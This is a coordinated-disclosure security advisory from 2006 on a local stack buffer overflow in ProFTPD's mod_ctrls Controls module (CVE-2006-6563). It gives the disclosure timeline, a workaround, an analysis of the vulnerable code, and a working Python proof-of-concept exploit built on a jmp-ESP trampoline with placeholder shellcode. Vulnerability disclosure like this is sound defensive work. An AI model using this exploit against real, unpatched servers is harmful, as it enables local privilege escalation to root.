ProFTPD Controls Buffer Overflow

ProFTPD Controls Buffer Overflow

ProFTPD Controls Buffer Overflow


Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/


Date Published: 2006-12-13

Last Update: 2006-12-12

Advisory ID: CORE-2006-1127

Bugtraq ID: 21587

CVE Name: CVE-2006-6563

Title: ProFTPD Controls Buffer Overflow

Class: Boundary Error Condition (Buffer Overflow)

Remotely Exploitable: No

Locally Exploitable: Yes

Advisory URL:
http://www.coresecurity.com/?action=item&id=1594

Vendors contacted:

ProFTPD

- CORE notification: 2006-11-30

- Notification acknowledged by ProFTPD maintainers: 2006-11-30

- Technical details sent to ProFTPD maintainers: 2006-11-30

- ProFTPD team produces a patch for this issue: 2006-12-08

- Fixed ProFTPD version publicly available: 2006-12-12

- CORE advisory release: 2006-12-13

Release Mode: COORDINATED RELEASE


Vulnerability Description:

A locally exploitable stack overflow vulnerability has been found in the mod_ctrls module of ProFTPD server.

ProFTPD is a commonly used and highly configurable FTP server for Unix and Windows systems. This server is available as an optional package in most recent Linux distributions, including Debian (sid), Mandriva 2007 and Ubuntu Edgy. For more information concerning ProFTPD, refer to the site http://www.proftpd.org/

The vulnerability is located in the "Controls" module. This is an optional feature of ProFTPD server, that must be activated in the configuration file. Controls are a way to communicate directly with a standalone ProFTPD daemon while it is running. This provides administrators a way to alter the daemon's behavior in real time, without having to restart the daemon and have it re-read its configuration. The Controls feature allow authorized users to locally manage parameters of the ProFTPD servers, like aborting connections, managing users, changing log levels, disabling individual virtual servers, etc.

The vulnerability allows local attackers with access to the Controls features (and who have been allowed by Controls ACLs in proftpd.conf) to gain root privileges.


Vulnerable Packages:

ProFTPD 1.3.0a

ProFTPD 1.3.0

(Older packages are also possibly vulnerable)


Solution/Vendor Information/Workaround:

As a workaournd, turn off the module mod_ctrls, with the following lines added to proftpd.conf:

<IfModule mod_ctrls.c>
ControlsEngine off
</IfModule>

Alternatively, administrators can use the ControlsACLs directive in proftpd.conf to restrict access only to trusted local users.

Version 1.3.1rc1 of ProFTPD, which fixes this issue, is available on the ProFTPD site (http://www.proftpd.org/).


Credits:

This vulnerability was found by Alfredo Ortega from Core Security Technologies.

We wish to thank TJ Saunders from the ProFTPD team for his quick response to this issue.

*Technical Description - Exploit/Concept Code:*

The vulnerability exists in pr_ctrls_recv_request() function from src/ctrls.c

Analysis of the vulnerability follows:

----------------------------------------------------

(Code from ProFTPD 1.3.0a, src/ctrls.c )
int pr_ctrls_recv_request(pr_ctrls_cl_t *cl) {
pr_ctrls_t *ctrl = NULL, *next_ctrl = NULL;
char reqaction[512] = {'\0'}, *reqarg = NULL;
size_t reqargsz = 0;
unsigned int nreqargs = 0, reqarglen = 0;
.
.
.
/* Next, read in the requested number of arguments. The client sends
* the arguments in pairs: first the length of the argument, then the
* argument itself. The first argument is the action, so get the first
* matching pr_ctrls_t (if present), and add the remaining arguments to it.
*/

(1)

if (read(cl->cl_fd, &reqarglen, sizeof(unsigned int)) < 0) { 
pr_signals_unblock(); 
return -1; 
}

(2)

if (read(cl->cl_fd, reqaction, reqarglen) < 0) { 
pr_signals_unblock(); 
return -1; 
} 
. 
. 
. 
} 

----------------------------------------------------

In (1) the integer 'reqarglen' is fully controlled by the attacker, as it's read directly from the control socket. This allows an attacker to control how much we read into the 'reqaction' variable in (2) (this variable is in the stack).

Example of vulnerable configuration in proftpd.conf:

<IfModule mod_ctrls.c> 
ControlsEngine on 
ControlsACLs all allow group someuser 
ControlsMaxClients 2 
ControlsLog /var/log/proftpd/controls.log 
ControlsInterval 5 
ControlsSocket /tmp/ctrls.sock 
ControlsSocketOwner someuser someuser 
ControlsSocketACL allow group someuser 
</IfModule> 

ProFTPD must be compiled with mod_ctrls support ( --enable-ctrls ).

The following is a simple working proof-of-concept (Python).

----------------------------------------------------

# Core Security Technologies - Corelabs Advisory
# ProFTPD Controls buffer overflow

import socket
import os, os.path,stat

#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"

#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode

#Setup socket
#
if os.path.exists(mySocket):
os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)

#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)

#Finished
#
s.close()

----------------------------------------------------

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DISCLAIMER:

The contents of this advisory are copyright (c) 2006 CORE Security Technologies and (c) 2006 Corelabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

$Id: proftpd-advisory.txt,v 1.7 2006/12/13 16:47:41 carlos Exp $